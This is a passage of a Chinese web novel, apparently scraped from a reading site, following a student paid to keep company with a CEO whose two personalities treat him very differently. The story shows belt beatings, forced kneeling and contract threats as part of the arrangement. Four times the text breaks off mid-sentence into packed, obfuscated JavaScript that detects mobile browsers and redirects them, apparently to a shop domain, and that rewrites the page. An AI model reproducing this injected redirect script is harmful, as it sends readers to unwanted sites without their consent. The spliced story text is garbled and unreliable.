他可不想在学校太出名,这不符合他低调的作风。 风又吹过来一片银杏叶,正好落在陆墨辰肩上,江云澈伸手帮他拂掉,动作干脆利落。 就是,好像有点越界了,换一号人格他根本不敢这样做。 江云澈默默收回手,目不斜视,步伐加快半拍,拉开了一点距离。 陆墨辰没跟上来。 江云澈走了两步,发现身后没动静,疑惑地回头。 对方还站在原地,低头看着自己右肩刚才被拂过的地方,手指无意识地摸了一下那个位置,像是在确认什么留下的触感。 然后抬起头,朝他小跑过来,笑得眼睛弯弯的。 “小江,你走太快啦。” 他追上来,两人并排走了一段,没说话。 但奇怪的是,跟二号人格待在一起的时候,江云澈不觉得需要找话题。一号人格面前他得时刻绷着,每一句话都要过脑子,二号人格这边不用,安安静静走就行了。 好像……也没那么难熬。 “小江,你们食堂是不是快到了?” “嗯,拐个弯就到。” 陆墨辰脚步轻快了一点,像个第一次来学校的新生。 江云澈偷偷瞥了他一眼。 阳光打在侧脸上,西装领口微敞,整个人跟讲堂上判若两人。台上那个是温柔专业的陆教练,现在这个像……跟朋友出来玩的大学生。 不对,什么朋友,这是金主爸爸。 江云澈收回视线。 “对了,”陆墨辰突然开口,“今天这个讲座是工作安排,得在魔都各个学校轮一圈,我怕耽搁你上课,就没提前说。” 语气很随意,不像在解释,更像在分享。 江云澈“嗯”了一声,没多想。 “不过你来听课我还是很开心的,”陆墨辰偏头看他,笑了一下,“本来还怕你觉得无聊。” “没有没有,讲得挺好的。” 虽然睡了半场,但醒来之后那段示范确实挺专业的,最重要的是帅,看到二号人格这张脸心情就好。 陆墨辰被夸了,明显很高兴,脚步又快了半拍。 江云澈心想:二号人格真的很好哄。 比一号人格好伺候一百倍,夸一句就开心,不用揣摩心思,不用如履薄冰,甚至都不用刻意讨好。 要是每周的毛绒绒日都能这样,这钱就赚得太爽了。 “小江,你以前看过我比赛吗?” 江云澈脚步一顿。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17552814|204378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >完了。 他压根没调查过二号人格的辉煌事迹,毕竟他是今天才知道二号人格有自己的马甲,至于萧墨宸萧总,一个集团的总裁,他的私生活都是商业机密。 他努力回想睡觉的时候那几个女生的讨论,撒起慌来脸不红心不跳,“当然了,你以前比赛的那些视频我都存下来了,球打得特别帅,真的,我都犯花痴了。” 话说出口的瞬间,空气安静了。 陆墨辰看着他,沉默了两秒。 然后一个熊抱把他整个人揽进怀里,下巴自动在他肩膀上找了个舒服的位置蹭了蹭。 “我真的太开心了,小江。不过我是游泳运动员,打球的视频应该是以前跟队友一起训练拍的。” 江云澈:石化。 游泳……游泳……他说球打得帅……他原本还觉得不知道是什么运动员,用个球保险一点。 救命,能不能当场失忆。 江云澈僵在熊抱里,正想赶紧找个话岔开,肩膀上的人已经松开了手。 但这次没再笑,而是安静地看着他。 “小江。” “嗯?” “你肩膀受伤了吗?” 江云澈一愣。 “上台做示范的时候我看到了,”陆墨辰垂下眼睛,声音轻下来,“有条状的红痕,不止肩膀,背上好像也有。” 江云澈后背瞬间窜起一层冷汗,完蛋,二号人格发现一号的残忍行迹了。 “还有,你走路的时候一直在调整姿势,不舒服吗?” 陆墨辰抬起头,那双亮晶晶的眼睛里没有了刚才的兴奋,取而代之的是一种很小心翼翼的认真。 “小江,你是不是出了什么事?你可以跟我说。” 江云澈一时不知道怎么解释。 知乎上那篇帖子里说得很清楚,一定不能让人格之间知道彼此的存在,否则会出大事。他不能露馅,绝对不能。 “啊哈哈,这个啊,”江云澈摸了摸后脑勺,扯出一个笑,“昨天下楼梯没看路摔了一跤,磕到尾椎骨了,肩膀也是在那时候擦到的,没事,我已经上药了。” 陆墨辰看着他,看了很久。 “……这样啊。” 他笑了一下,但那个笑跟之前不一样,很浅。 “那你要注意安全,下次摔跤第一时间跟我说,不要自己忍着。” “好的好的,一定一定。” 江云澈深吸一口气,今天没有做攻略啊,他和二号金主完全相处不来,得赶紧想办法开溜,说的越多,错得越多。 “辰哥,我室友让我去图书馆帮他占座,我得先走了啊。” “哦,好。” “那下次见!” 江云澈转身就走,步子又快又稳。 下班了,终于下班了。 陆墨辰还站在原地,银杏叶落在他肩上,他没动。 就那么站着,看着他走远,他拿出手机,打开备忘录。 把自己之前列的那些计划—— 下次带他去哪、给他买什么、怎么开口问他在学校过得开不开心。 全部删得一干二净。 然后又新建了一条备忘录: 他受伤了,没有第一时间找我。 . 萧氏集团,顶层办公室。 落地窗前,萧墨宸正翻看手里的项目报告,助理推门进来, 她斟酌了一下措辞:“萧总,T大校园墙上出现了江云澈的照片,他好像谈恋爱了。” 照片里,秋天的银杏树下,江云澈正和一个穿西装的男人并肩走着,他侧头看着那个男人,嘴角带着笑。 萧墨宸盯着照片,手指慢慢收紧。 5. 第 5 章 地板很凉。 江云澈跪在翡冷翠行政公馆的客厅正中央,膝盖早就没了知觉。 面前的茶几上,摊着一份被摔出褶皱的协议。 一个小时前,他还以为这是普通的一天。 现在看来,今天出门没看黄历。 昨晚离开时二号人格的情绪明显不对,江云澈回去之后想了很久,得出一个结论:向上管理没做到位,需要及时补救。 毕竟每天面对一号人格那尊大佛,二号人格就是他唯一的带薪休假。休假要是没了,这份工作可以直接狗带了。 思来想去,他决定还是投其所好,给二号买最喜欢的毛绒绒公仔。 早早出门,去到商场,走了好几家精品店,江云澈选了很久。 几十块的普通公仔不行,拿不出手,显得敷衍。两百档的质感差,性价比低。三百八这个,绒毛密度够,手感软,填充物饱满,属于盲区最小的一款。 江云澈看了一眼价格标签,默默在心里盘算了一下这个月的开支。 冬天不买羽绒服了,穿去年的。 刚好够。 柜台亮付款码的时候江云澈有点肉疼,毕竟他的存款还不足大平层的零头,但接过包装好的礼盒的时候他嘴角是上扬的。 还是那句至理名言:花小钱,办大事。 这东西是用来钓大钱的鱼饵。 买完了公仔,他还特意去了一趟一家西装店。 光给二号人格买礼物的话,他感觉有点心虚,他怕一号那个控制狂魔哪天知道会打翻醋坛子,到时候屁股痛的是他。 一款普通西装江云澈是负担不起的,再说他觉得对方肯定也看不上,所以他打算买条领带。 一开始,镜子面前试戴的时候还没什么异常,但他总感觉有点不舒服,好像有人在偷窥自己。 江云澈一转身,瞬间愣在了原地。 只见他的身后,穿着西装的萧墨宸正站在那,面无表情看着他手里提着的粉红礼品盒。 不是,你跟踪狂啊! . “上车。” 江云澈是直接被丢进保时捷的。 还没坐稳,车已经迅速启动。 萧墨宸没带司机,说明是临时过来的。 对方一副要吃人的样子,江云澈不敢开口说一句话,默默用手安抚着自己的小心脏,思考自己究竟哪里得罪了对方。 考研题又错多了?不对,当天已经罚过了,不可能再炒现饭。 视线落在自己的礼品袋上。 嚓,萧墨宸不会是误会了吧。 . 江云澈的直觉准得一批。 进了别墅的第一件事,就是让他跪在老地方。 今天穿的是休闲装,背的还是上次和二号人格出去玩的那个书包,上面的公仔挂件随着跪下的动作一晃一晃。 萧墨宸就站在他面前。 江云澈不敢去扶,茶几上摆着那把老伙计“武士刀”,再不想想办法,他今天就要切腹自尽了。 “萧……萧总,”江云澈努力告诉自己别慌,“我是去给您买礼物的,你看——”他拿出那条还没来得及仔细挑选的藏蓝色领带。 萧墨宸视线落到那条领带上,又看向一旁的礼品盒,最后看向书包上那两个还在晃的公仔。 江云澈瞬间无比后悔,为什么要带上那俩小屁孩!这家伙快把他活吞了。 “呵,”他冷笑一声,“现在撒谎不打草稿了。” “出轨,你付得起违约金吗?” “我……” “啪。”萧墨宸一皮带抽下去,没什么预兆。 江云澈咬紧牙关,疼,但更多的是懵。等等,出轨?他出哪门子的轨?他一三五二四六天天围着金主转悠,周日睡大觉,哪来的时间。 “你还记得我们的协议吗?”萧墨宸从公文包里拿出之前白纸黑字签的那份协议,重重摔在地上,“违约金按一比三,你上班一个月,赔我二十万。” 违约金二十万!江云澈感觉天塌了。 不是吧,他还没挣多少,现在全赔进去都不够零头。 “萧……萧总,我想您应该是误会了,我并没有做那种事情。” “还不承认。”萧墨宸冷笑一声,“那个是什么?” 他没等江云澈回答,径直走过去,从茶几下面的抽屉里拿出上次剪西装的那把剪刀。 江云澈瞳孔一缩:“萧总,那是给——” “咔嚓。”萧墨宸完全没等他解释,暴力扯开包装,揪起公仔的兔耳朵开始行刑。 第一剪下去,粉色公仔的耳朵掉在地上,白色填充物从断口处涌出来。 江云澈声音卡在喉咙里。 “咔嚓。” 第二剪,另一只兔眼睛被剪开,黑色的纽扣眼滚到地毯边缘。 萧墨宸的手很稳,动作不快,甚至称得上有条不紊。 江云澈看着那些绒毛一簇一簇地落在地板上,想起柜台前自己反复摸了好几遍的手感。 绒毛密度够,手感软,填充物饱满,盲区最小的一款。 “咔嚓。” 第三剪下去的时候,江云澈没忍住,睫毛颤了一下。 那是他牺牲了今年冬天全部幸福感买的。现在好了,幸福感没了,冬天也没了。 江云澈觉得自己上辈子一定拆了萧墨宸的庙,还不止一座。 萧墨宸剪完最后一下,把兔子的“尸体”胡乱丢在江云澈面前,用指腹擦了擦刀面上沾的绒毛。 然后他看着江云澈,语气平静得像在谈一笔生意: “违约金二十万,刷卡还是抵债?” 江云澈:…… 这日子还过不过了? 二十万,老家农村土楼最多值三万,剩下的十七万怎么办,卖个肾?也不够啊! 江云澈脑子里飞速算账,越算越慌。 不行,说他出轨就是真出轨了?得拿出证据吧。 江云澈咬牙挣扎,按常理说他是不敢顶嘴的,但现在已经到了生死时刻,必须放手一搏,“萧总,我没有出轨,您要是不信可以查,我可以解释——” “还不承认。”萧墨宸从口袋里拿出手机,翻出一张照片,递到他面前。 “他是谁?” 萧墨宸语气实在太冷,江云澈感觉自己随时要被冻死。 他目光紧盯着屏幕,里面有自己,还有一个看不清脸的模糊人影。 等等,这不是金主爸爸他自己吗? 江云澈攥紧自己的胸口,差点一口气背过去了。 抽什么风,不记得自己第二人格做过的事就算了,还拿这个诬陷他出轨。 没招了啊! . “你可以解释,好,我给你机会。” 萧墨宸就这么站在他面前,居高临下看着他,气看着是消了一点,但江云澈感觉越来越恐怖了。 “我……” 怎么办,要不直接坦白真相吧——萧总你就是个精神病,照片里的是你第二人格。 可是知乎上说不能随意告知患者真相,容易刺激人格,严重引发休克。 万一金主爸爸出事了,按小说里的写法,他江云澈的下场大概是被家族掌权人沉江,连尸体都捞不到。 沉江和违约金之间,还能拯救一下吗? “萧总!这是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17552815|204378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你自己啊!” 萧墨宸没动。 他表情甚至没什么变化,只是视线从照片移到江云澈脸上,像在看一个在绝境中开始胡言乱语的人。 “我自己?” “对,您看,这是您之前去学校找我的照片,那天您穿的就是这身西装。” “你觉得我会信这种话?” 萧墨宸打断他,语气甚至比刚才还冷,带着一种被当傻子耍的不耐烦。 “P给谁看!” “不是!是真的,您看这个人是真的,不是P的!” 江云澈手忙脚乱掏出手机上朋友圈里翻找,手指都在打滑。 他终于找到了,昨天和二号人格在路上被路人拍的那张,高清的,还是动图。 他把手机递上去,几乎是用双手捧着的。 “萧总您看,这是校园墙上点赞最多的那张,动图,您看他的动作,这个走路姿势,P不出来的。” 萧墨宸没接。 但他的视线落在了屏幕上。 动图在循环播放,那个人穿着和他一模一样的西装,步态、肩线、甚至偏头看人的角度,都像是从他身上拓下来的。 他没说话,看了很久。久到江云澈以为自己要被沉江了。 然后萧墨宸拿着手机的手指不易察觉地收紧了一下,很短暂。 “把手机放下。” 江云澈立刻把手机放在茶几上,乖得像条狗。 萧墨宸坐回沙发,闭了闭眼,没说话。 客厅安静了好一会儿。 江云澈跪在地上,连呼吸都不敢太大声,心脏快从嗓子眼蹦出来了。 终于,萧墨宸睁开眼。 他没看江云澈,视线落在地板上那堆碎布和棉花上,停了一秒,然后移开,没有任何一句“我弄错了”或者“抱歉”。 “那你书包上那两个丑东西是怎么回事。” 江云澈心里咯噔一下,但随即意识到,萧墨宸这是信他了,有希望了。 他光速表水,“这个大的是萧总您,小的是我自己,他们是……情侣款。”他说完还刻意停顿,假装自己很不好意思的样子。 装,往死里装,万一激起了萧墨宸心里那一丢丢负罪感,也许对方还能给他涨点工资。 “情侣款。” 萧墨宸的表情没变,但手指不自觉蜷了一下。 他给自己划过的线很清楚,包养是手段,纠正才是目的。这段关系里没有“情侣”两个字的位置。 可那三个字砸过来的时候,他心里有什么东西动了一下,很轻,轻到他分辨不出那是什么,只觉得不该有。 “我有点小爱好,喜欢这些毛绒绒的东西,所以,”江云澈的视线看向地板上毛兔子的“尸体”,语气带上几分要命的委屈,“那是我想了很久才决定买的。” 要么涨工资,要么爆金币,380的鱼饵不能白瞎! 萧墨宸看着地上的碎布和棉花,想说什么,但又没说出来。 下一秒,他语气又回归强硬。 “摘下来。” 江云澈一愣:“这……这是我……” 不是,你不花点钱补偿我就算了,这可是二号人格的定海神针,还是定制的根本买不到,要是这东西也被萧墨宸剪掉了,拿什么去驯服二号人格。 “我说,摘下来。” 江云澈手指发僵,算了,胳膊拧不过大腿,好汉不吃眼前亏,他把两个挂件从书包上解下来,拉链拉开又合上的声音在安静的客厅里特别清晰。 萧墨宸接过来,犹豫了一下,没去拿剪刀,直接丢进了茶几抽屉。 “以后别背这种东西,丢人。” 6. 第 6 章 顺利度过昨天的暴风雨后,星期四“毛绒绒”日又到了。 但这次江云澈比之前怵。 今天两人约在城郊海湾的一个公园见面。陆墨辰刚好在海湾那边的大学城宣讲,回来接他来不及,所以得江云澈一个人去。 他提前两个小时上了地铁,一路都在给自己做心理建设。 昨晚回去后,江云澈辗转反侧,把合同翻出来看了三遍。 违约金一比三,多赔二十万。 二十万。 他给陆墨辰当一个月金丝雀才十万,违约赔二十万……天上果然没掉馅饼的好事,掉的是铁饼。 他想过报警。 可白纸黑字是他自己签的,没有人按着他的手,他甚至还记得签字那天自己脑子里的念头,“先拿了钱再说”。 现在“再说”来了。 他想辞职。 但辞得了吗?违约金照样算,和白纸黑字比起来,他江云澈什么都不是。 所以只能继续。 继续的话,今天这个“毛绒绒”日就绝对不能出岔子,二号人格是他目前唯一能喘口气的缝隙,这个关系要是也崩了,他真不知道该怎么办。 视线落在书包上那两个新的公仔,和之前的不是同一款,但已经是他跑遍全城买得最像的了。 他提前编了理由:“辰哥,你给我买那两个我舍不得带出来,放宿舍珍藏了,带这两个便宜的,弄脏了丢了不心疼。” 便宜……两个娃娃三千多,抵上自己上一天班的工钱了。 江云澈心在滴血,但他只期望二号人格没一号那么精明,能被他糊弄过去。 . 两个小时很快就到了。 出地铁站的时候,正好撞见陆墨辰一路小跑过来接他。 “小江!” 他远远喊了声,声音很高昂。 “辰哥!” 江云澈也用高昂的情绪回了一声。 二号今天没穿西装,一身轻便的运动穿搭,但他额头上的汗很多。 地铁站到大学城还有一段距离,需要坐公交车,对方明显是一路跑过来的。 现在十月末了。 “怎么了小江,不舒服吗?”陆墨辰似乎看出了他的心事,递来一瓶水蜜桃味的饮料,目光在江云澈脸上停了不到一秒,“心情不好喝点甜的哦,这一路辛苦啦。” 江云澈接过饮料,从书包里拿出一个礼品袋,递到陆墨辰面前。一个完全崭新的公仔,他昨天跑回去买的。 “辰哥,上次你去我们学校什么都没准备,这是给你买的礼物,不贵,希望你不要嫌弃。” 递出去的那一瞬间,江云澈的手是微僵的。 他想到昨天他把领带递给一号的时候,也是这个姿势。 陆墨辰的眼睛瞬间亮了起来,接过礼物的手还微微抖了两下。 “给我准备的吗?礼物。”他几乎是用不可置信的语气。 不是冷笑,不是“撒谎不打草稿了”。 江云澈点了点头。 “对的,我找了好久才找到的。” 陆墨辰二话不说,一把拉过江云澈的手把他重重抱进自己怀里。 江云澈愣了一秒。 昨天的皮带印还没消,今天被人这么一抱,后腰条件反射绷了一下。但只有一下,因为陆墨辰抱得很紧,力道和昨天那种完全不一样,像是怕他跑了一样。 江云澈慢慢把脸埋进对方肩窝。 不管一号的工作多么难,但他总有二号,有毛绒绒日可以放松。 而且高风险代表高回报,想买大平层,不承担风险怎么行。 加油,江云澈。 . 海湾公园的安排,陆墨辰完全没问江云澈一次,对方全部都准备好了。 江云澈提前做的攻略全部作废。 “小江,之前我工作忙,去哪玩都是你找地方,虽然主要是想听你意见,但现在想想蛮不负责的,所以今天你就什么都不要想,开开心心玩,好不好?” 但你是金主啊,我才是上班的那个。 陆墨辰没让他把心里话说出来。 “快走,我知道海湾有一家铁锅炖特别香,我已经喊老板提前上锅了,现在过去刚好能吃。” 他拉着江云澈的手上了公交车。 十指相扣。 . “小江,干杯。” 玻璃瓶撞在一起发出一声脆响。 铁锅炖和啤酒。江云澈见过一号人格抽烟,但金主从来没在他面前喝过酒,还是这种路边店卖的廉价啤酒,他以为书里那种82年的拉菲才是百亿继承人的标配。 但82年的拉菲搭配不了铁锅炖大鹅。 江云澈是西南人,铁锅炖是他为数不多喜欢的外地美食,尤其是加了辣的,和重庆鸡公煲差不了太多。 搭配米饭真的很香,但他不敢放开吃。 金主喜欢的是他这张脸,江云澈得时刻注意维护自己的形象,保持身材是最基本的。平时表情管理不能崩,该笑的时候笑,该低头的时候低头。 还有更细的。 《新手入门指南》里特意强调过,被训的时候眼神要放柔,不能顶嘴,不能有情绪。就连下跪的时候,腰要挺直,腿要绷紧,被罚被打不能大叫不能哭,必须得是那种喉咙里的细微呜咽声。 江云澈夹起一块鹅肉,又放下了。 “小江,你这么大个头,吃这么点能吃饱吗?” 江云澈筷子顿了一下。 “够了,我不太饿。” 陆墨辰没说话,直接把那锅加辣的往他面前推了推,又添了一碗米饭搁在他手边。 “再来一碗。” 陆墨辰不是询问的语气。 江云澈没动。 “我……要保持身材。” “你哪里胖了?”陆墨辰抬眼看他,很认真的表情,像在问一个学术问题。 江云澈说不上来。 陆墨辰看了他几秒,没追问,只是又夹了一块鹅肉放进他碗里。 “吃。” 他就说了一个字。 江云澈把那块肉吃了。然后又吃了第二碗。 铁锅炖的蒸汽糊了窗户,外面天色暗下来的时候,他觉得自己吃了至少平时两倍的量。 陆墨辰全程在笑,给他夹菜、开瓶盖、擦桌子上的汤汁,做得极其自然,不像演的。 买单的时候江云澈下意识想掏手机,被陆墨辰按住了手。 “说了今天什么都不要想。” 手指按在他手背上,没松开。 “走吧,还有惊喜。” . 所谓惊喜,是帐篷。 海湾公园的沙滩区有一块专门的露营营地,陆墨辰提前搭好了帐篷,里面铺了防潮垫,扔了两个睡袋,角落还塞了一袋零食。 “你什么时候弄的?” “宣讲完提前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17552816|204378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过来的。”陆墨辰把帐篷拉链拉开,“快进来,海边风大。” 帐篷不大,两个人并排坐下,空间刚刚好。 外面是海浪声,一下一下的,很规律。帐篷顶是半透明的,能看见天。 星星很多。 江云澈没怎么见过这种密度的星星,老家没仔细看过,城里更没有,他仰着头,嘴巴微微张着,忘了自己还靠在陆墨辰肩膀上。 “好看吗?” “嗯。” “那颗最亮的,是启明星。” “你怎么什么都知道。” “体育生也要上通识课的,”陆墨辰笑了一下,声音从头顶传过来,“我天文学考了九十九。” “吹牛。” “真的,不信回头给你看成绩单。” 江云澈笑了一声,很轻。 海浪声盖住了大部分动静,帐篷里只剩两个人的呼吸,他没意识到自己什么时候靠过去的,也没意识到陆墨辰的手什么时候搭在他后脑勺上,指腹一下一下顺着他的头发。 很轻,像在摸那个公仔。 “小江。” “嗯?” “今天开心吗?” “嗯。”江云澈点了个头。 白吃白喝还有人哄,被包养以来性价比最高的一天。 陆墨辰没再说话,手也没停。 海浪声,风声,呼吸声,混在一起,江云澈的眼皮越来越沉。 他不知道自己什么时候睡过去的。 帐篷外面,海浪一下一下拍着沙滩。 江云澈的呼吸变均匀之后,陆墨辰才慢慢把手抽出来。 他拿出手机,打开备忘录。 新计划最上面一条:超级直球出击。 后面打了一个勾。 他看了几秒,把手机屏幕扣在睡袋上,转头看向江云澈。 睡着的脸和醒着不一样,嘴角没绷着,眉头是松的,看起来比实际年龄小很多。 陆墨辰盯着看了一会儿,轻手轻脚把睡袋拉开,想最后抱一下。 手臂绕过去的时候,他的手指碰到了江云澈后腰。 江云澈在睡梦中缩了一下,很轻微的反应,像碰到疼的地方。 陆墨辰的手顿住了。 他没动,等了几秒,确认江云澈没醒,才小心翼翼地把衣摆往上掀了一点。 帐篷外透进来的星光刚好够看清。 后腰那一片,青一块紫一块,不是一块两块,是成片的,边缘没有摩擦的粗糙感,创面规则,力度均匀。 楼梯摔的不会是这个形态。 省队退役运动员,运动康复学博士读了四年,什么样的伤对应什么成因,他不需要细看。 陆墨辰的手悬在那里,收不回去。 他看着江云澈的睡脸,呼吸声还在,很平稳,什么也不知道的样子。 很久,他慢慢把手收回来,没再去碰那个位置。 没有叫醒他,没有问。只是坐在那里,盯着帐篷顶透进来的微光,表情和进来时不太一样了。 视线偏移,最后落在书包旁边那两个崭新的公仔上。 放在书包旁边的手机亮了一下,屏幕上跳出一条邮箱通知。 “萧氏集团入职申请,已通过。” 手机屏幕的光打在陆墨辰脸上,他盯着那行字,心里默念了几遍。 萧氏集团…… 他把手机翻过去,屏幕扣在睡袋上,没再看。 7. 第 7 章 街上人来人往,车辆川流不息。 江云澈穿着一身正式的西装,站在一栋写字楼前,往上看。 好高。 这一整栋都是萧氏的吗? 之前一号问过他打算去哪实习,当时他没想那么多,被包养着,一周就周日能休息,外面公司最少到岗三天,哪个公司要他。 结果就是萧墨宸直接要了他一份简历,投进了萧氏。 也就是交简历那天晚上,因为实习申请写错一个字,他被摁在沙发上抽了十下皮带。 从那以后一号就上瘾了。 可是最近,因为那件乌龙,江云澈搓搓手,深吸一口气。 五天了。 自从上次那个误会,一号人格五天没主动联系过他。连上周五的常规打卡都是助理代发的模板“今晚八点,翡冷翠”,他去了,翡冷翠的灯开着,三套考研试卷,他做完都没看到对方,也没人给他纠错,讲题。 五天,一条消息没有。 以前再忙,一号也会发一两条,“领带系好”或者“别迟到”,但这次,什么都没有。 完全对他就是冷处理。 江云澈说实话有点慌,但也不全是因为慌。 主要是因为冷处理期间,包养费照发,但没有任何工作任务,他不干活就等于白拿钱,白拿钱在萧墨宸的体系里约等于欠债。 为此,他准备了一套完整的修复方案:争取见面、绝不犯错、适当的时候让萧总释放压力。 他特意在一号备忘录下面加了一条:“修复关系第一战:用工作表现覆盖负面印象,参考小说《被金主冷落后的回暖指南》第二章。” 好了,心理建设完毕。 生产队的驴,拉磨上班。 . “小江,这是萧总给你安排的岗位,总裁助理实习生,工作内容很简单,大部分我带你,你拿进去给萧总汇报就行。” 江云澈看看自己,又看看面前的总裁办公室。 不是,我吗? 双非末流本科生,直接进总裁办? 他看看玻璃外高耸的大楼,能看见整座外滩。 ……高处不胜寒啊。 “好了,你先去萧总那报个到,具体工作他分配,不懂的问我。” “嗯,姐你去忙吧。” 助理走后,江云澈站在办公室门口,正准备拜拜神仙菩萨保佑他工作不出错再敲门,门开了。 萧墨宸站在门口,表情中带着几分疑惑看着他。 “萧总。”江云澈耳根通红,怎么在这个时候碰见啊! 萧墨宸没多问,上下扫了一眼。 “穿得还行,进来。” 就一句话,没有多余的表情,没有提到五天前的事,语气跟在翡冷翠一模一样。 江云澈跟着进去,站在办公桌前,低头,不动,不言语。 “公司没有总裁实习生岗位,你的学历和那批实习生放一起会因为是关系户被特殊对待,所以我把你放身边。工位在你背后。” 江云澈回头看了一眼。 玻璃门外,一个小桌子孤零零搁在墙边,上面放了一台电脑、一沓文件。 他坐在萧墨宸正前方,中间没有任何遮挡,萧墨宸看什么他看不见,萧墨宸一抬头,第一眼就是他。 这哪是工位,这是监控探头正对着的审讯室。 “试用期一周。一三五过来,有课提前请假,工资算在包养费里,每天九点到六点,迟到一分钟扣一半。” 江云澈飞速算了一下,一分钟扣一半,那迟到三分钟岂不是倒欠钱? “好。” “去吧。” 江云澈转身就走。 “等一下。” 他脚步一顿。 背后传来翻抽屉的声音,然后一个东西被放在桌面上,推过来。 一张门禁卡,上面印着萧氏的logo。 “只有这层能刷,别乱跑。” “……好。” 江云澈拿上门禁卡,坐到那张小桌子前。 电脑亮了,桌面上整整齐齐摆着六个文件夹,按日期排列,他点开最新的一个,是今天的会议纪要,需要整理成摘要。 他深吸一口气,挺直腰杆,按自己周末学的一个个整理。 . 整个上午,萧墨宸开了三个会。 江云澈没参与,就坐在外面整理文件,里面的声音断断续续传出来。 “这个季度的数据我不满意,重新做。” “你觉得这个方案能通过?” “出去。” 第三个会只开了八分钟,三个人鱼贯而出,经过江云澈面前时,其中一个中年男人瞄了他一眼,没说话,走了。 江云澈默默把腰挺得更直了一点。 门重新关上。大概十秒钟后—— “进来。” 江云澈愣了一下,才反应过来是在叫他。 他站起来,推门进去,萧墨宸戴着眼镜,靠在椅背上,面前摊着一份文件,没抬头。 “刚才的会议纪要,念。” 江云澈低头看自己手里的稿子,他整理了一个上午,自认为没什么问题。 “……第三季度华东区营收同比下降百分之七点三,主要原因是……” “停。” 江云澈立刻闭嘴。 萧墨宸终于抬起头,看着他。 “百分之七点三,你确定?” 江云澈翻回原始数据看了一眼。 “原始数据上是百分之七点三。” “行业报告百分比统一保留整数,你写成7.3%了。” “出去重做。” 江云澈:“……” 不是,说一声“改一下小数点”会死吗?非得当着面念到一半打断,就四个字“出去重做”。 膝盖是不疼了,但社死是实打实的。 江云澈拿着文件出去,坐回小桌子前,盯着那个7.3%。 他把那份纪要从头翻到尾,发现不止一处,所有百分比都带着小数,他一个一个改成整数,改完又检查了一遍,确认没有遗漏。 改完之后他看了一眼时间,十一点半。 走廊里有动静,几个实习生结伴去食堂,有说有笑,经过总裁办公室门口的时候放慢了脚步往里面瞄。 江云澈没动,他打开第二份文件,开始整理。他不敢,对方没说“可以”,就不能停。 十二点半,助理端了杯咖啡放在他桌上,看了他一眼。 “你不吃饭?” “等萧总忙完。” 其实他算过,一顿食堂饭五十多块,比学校食堂贵了快三倍,万一迟到了还要扣工资,干脆喝点水熬一熬,下次带几片吐司就行。 助理欲言又止,最后没说什么,走了。 一点半,萧墨宸的门开了。 他出来,经过江云澈身后,没停,没看,直接进了会议室。 江云澈盯着他的背影,偷偷在备忘录里写: “在办公室犯错不用跪,但会被当面说出去重做,哪种更丢人?不知道,但膝盖不疼了是好事。” . 下午三点半,助理路过他工位的时候停了一下。 “你这份数据汇总……你自己做的?” “嗯。” 助理没再说什么,但那个眼神很微妙,像是在确认什么。 江云澈没在意,他中午把所有能找到的历史会议纪要都过了一遍,顺手做了一份过去三个月的数据趋势汇总,三页纸,格式参照了萧墨宸桌面上那几份正式报告的排版。 不是他想表现,是不敢不表现。 在翡冷翠,任何事情只要有一点细节没做到位都要受罚,他把这套生存逻辑原封不动搬到了办公室,扣子到顶、数据自己算、格式对标老板桌面。 这是他的肌肉记忆。 四点,助理抱着一摞文件走进萧墨宸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17552817|204378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 办公室。 江云澈余光扫了一眼,最上面那份封面印着一行小字:萧氏教育基金会·西南地区定向资助跟踪回访表。 西南地区。 他多看了一秒。 然后萧墨宸的声音从里面传出来:“关上门。” 助理把门带上了。 江云澈收回视线,继续对着电脑。 五点四十,萧墨宸开完最后一次会,回办公室,拿外套,出门。经过江云澈身后的时候,脚步顿了半秒左右。 江云澈后背瞬间绷直,但对方什么都没说,走了。 六点整,助理通知他下班,江云澈整理完最后一份数据,关电脑,拿门禁卡出门。 电梯里他掏出手机。 A703,没有消息。B703,也没有。 意料之中。 他出了大楼,黄浦江的风一吹,整个人的骨架才松下来,西装勒了一整天,肩膀酸,脖子也酸,但他没敢在办公室里动一下,连伸懒腰都是趁萧墨宸开会的那二十分钟。 